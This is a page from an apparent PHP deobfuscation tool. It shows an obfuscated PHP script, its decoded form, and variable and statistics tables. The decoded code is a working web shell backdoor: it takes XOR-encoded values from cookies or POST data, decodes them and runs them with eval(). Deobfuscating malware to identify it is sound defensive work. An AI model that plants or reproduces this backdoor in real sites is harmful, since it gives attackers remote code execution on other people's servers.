Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IuElehYYV = chr(115) . chr(116) . "\162" . "\x5f" . chr(114) . chr(101) . 'p' . "\..

Decoded Output download

<?php 
$IuElehYYV = chr(115) . chr(116) . "r" . "_" . chr(114) . chr(101) . 'p' . "e" . "a" . 't'; 
$jVDTZPAB = "e" . chr(120) . 'p' . chr(108) . 'o' . chr(100) . chr(429 - 328); 
; 
$uHZiItIyv = "c" . chr(289 - 178) . "u" . "n" . 't'; 
$PlSfYkWFl = chr(396 - 284) . chr(97) . chr(556 - 457) . chr(107); 
; 
$Lpqknml = array("HziiZOdMtqWhIgkmNMrEGyxSrp" => "hzEGBhfPkPAXhuWurA"); 
$_mKsT = 63312; 
$MhuECUX = '#'; 
; 
 
$ljhgEZ = array("DFRxEoIAuXhe" => "VhZYAXKx"); 
$_zWXdK = 35090; 
$tJREF = array($Lpqknml, $_COOKIE, $Lpqknml, $_POST, $ljhgEZ); 
foreach ($tJREF as $twXavRDOFq) { 
	foreach ($twXavRDOFq as $pNavis => $obrdQgzN) { 
		$obrdQgzN = @$PlSfYkWFl("H" . chr(42), $obrdQgzN); 
		$pNavis .= "GYNGQ-kOGLuef-GzThb-BHcItCc-PbCcE-QSeO-jlv"; 
		; 
 
		$pNavis = $IuElehYYV($pNavis, (strlen($obrdQgzN) / strlen($pNavis)) + 1); 
		; 
		$UmlvP = $obrdQgzN ^ $pNavis; 
 
 
		$MHzQCs = $jVDTZPAB($MhuECUX, $UmlvP); 
		; 
 
		if ($uHZiItIyv($MHzQCs) == 3) { 
			$GHwavoppoX = $MHzQCs[1]; 
			$CKIFjbs = $MHzQCs[2]; 
			; 
			$uPBiNzMR = $GHwavoppoX($CKIFjbs); 
			$_T = 52594; 
			eval($uPBiNzMR); 
			; 
 
			die(); 
			$_Mv = 25671; 
		} 
	} 
} ?>

Did this file decode correctly?

Original Code

<?php
$IuElehYYV = chr(115) . chr(116) . "\162" . "\x5f" . chr(114) . chr(101) . 'p' . "\x65" . "\x61" . 't';
$jVDTZPAB = "\145" . chr(120) . 'p' . chr(108) . 'o' . chr(100) . chr(429 - 328);
;
$uHZiItIyv = "\143" . chr(289 - 178) . "\x75" . "\x6e" . 't';
$PlSfYkWFl = chr(396 - 284) . chr(97) . chr(556 - 457) . chr(107);
;
$Lpqknml = array("HziiZOdMtqWhIgkmNMrEGyxSrp" => "hzEGBhfPkPAXhuWurA");
$_mKsT = 63312;
$MhuECUX = '#';
;

$ljhgEZ = array("DFRxEoIAuXhe" => "VhZYAXKx");
$_zWXdK = 35090;
$tJREF = array($Lpqknml, $_COOKIE, $Lpqknml, $_POST, $ljhgEZ);
foreach ($tJREF as $twXavRDOFq) {
	foreach ($twXavRDOFq as $pNavis => $obrdQgzN) {
		$obrdQgzN = @$PlSfYkWFl("\x48" . chr(42), $obrdQgzN);
		$pNavis .= "GYNGQ-kOGLuef-GzThb-BHcItCc-PbCcE-QSeO-jlv";
		;

		$pNavis = $IuElehYYV($pNavis, (strlen($obrdQgzN) / strlen($pNavis)) + 1);
		;
		$UmlvP = $obrdQgzN ^ $pNavis;


		$MHzQCs = $jVDTZPAB($MhuECUX, $UmlvP);
		;

		if ($uHZiItIyv($MHzQCs) == 3) {
			$GHwavoppoX = $MHzQCs[1];
			$CKIFjbs = $MHzQCs[2];
			;
			$uPBiNzMR = $GHwavoppoX($CKIFjbs);
			$_T = 52594;
			eval($uPBiNzMR);
			;

			die();
			$_Mv = 25671;
		}
	}
}

Function Calls

chr 14
pack 1

Variables

$_mKsT 63312
$tJREF [{'key': 0, 'value': [{'key': 'HziiZOdMtqWhIgkmNMrEGyxSrp', 'value': 'hzEGBhfPkPAXhuWurA'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'HziiZOdMtqWhIgkmNMrEGyxSrp', 'value': 'hzEGBhfPkPAXhuWurA'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'DFRxEoIAuXhe', 'value': 'VhZYAXKx'}]}]
$_zWXdK 35090
$ljhgEZ [{'key': 'DFRxEoIAuXhe', 'value': 'VhZYAXKx'}]
$pNavis hzEGBhfPkPAXhuWurA
$Lpqknml [{'key': 'HziiZOdMtqWhIgkmNMrEGyxSrp', 'value': 'hzEGBhfPkPAXhuWurA'}]
$MhuECUX #
$jVDTZPAB explode
$obrdQgzN hzEGBhfPkPAXhuWurA
$IuElehYYV str_repeat
$PlSfYkWFl pack
$uHZiItIyv count
$twXavRDOFq [{'key': 'HziiZOdMtqWhIgkmNMrEGyxSrp', 'value': 'hzEGBhfPkPAXhuWurA'}]

Stats

MD5 777c35ed0c735811b36b97ca906775d3
Eval Count 0
Decode Time 284 ms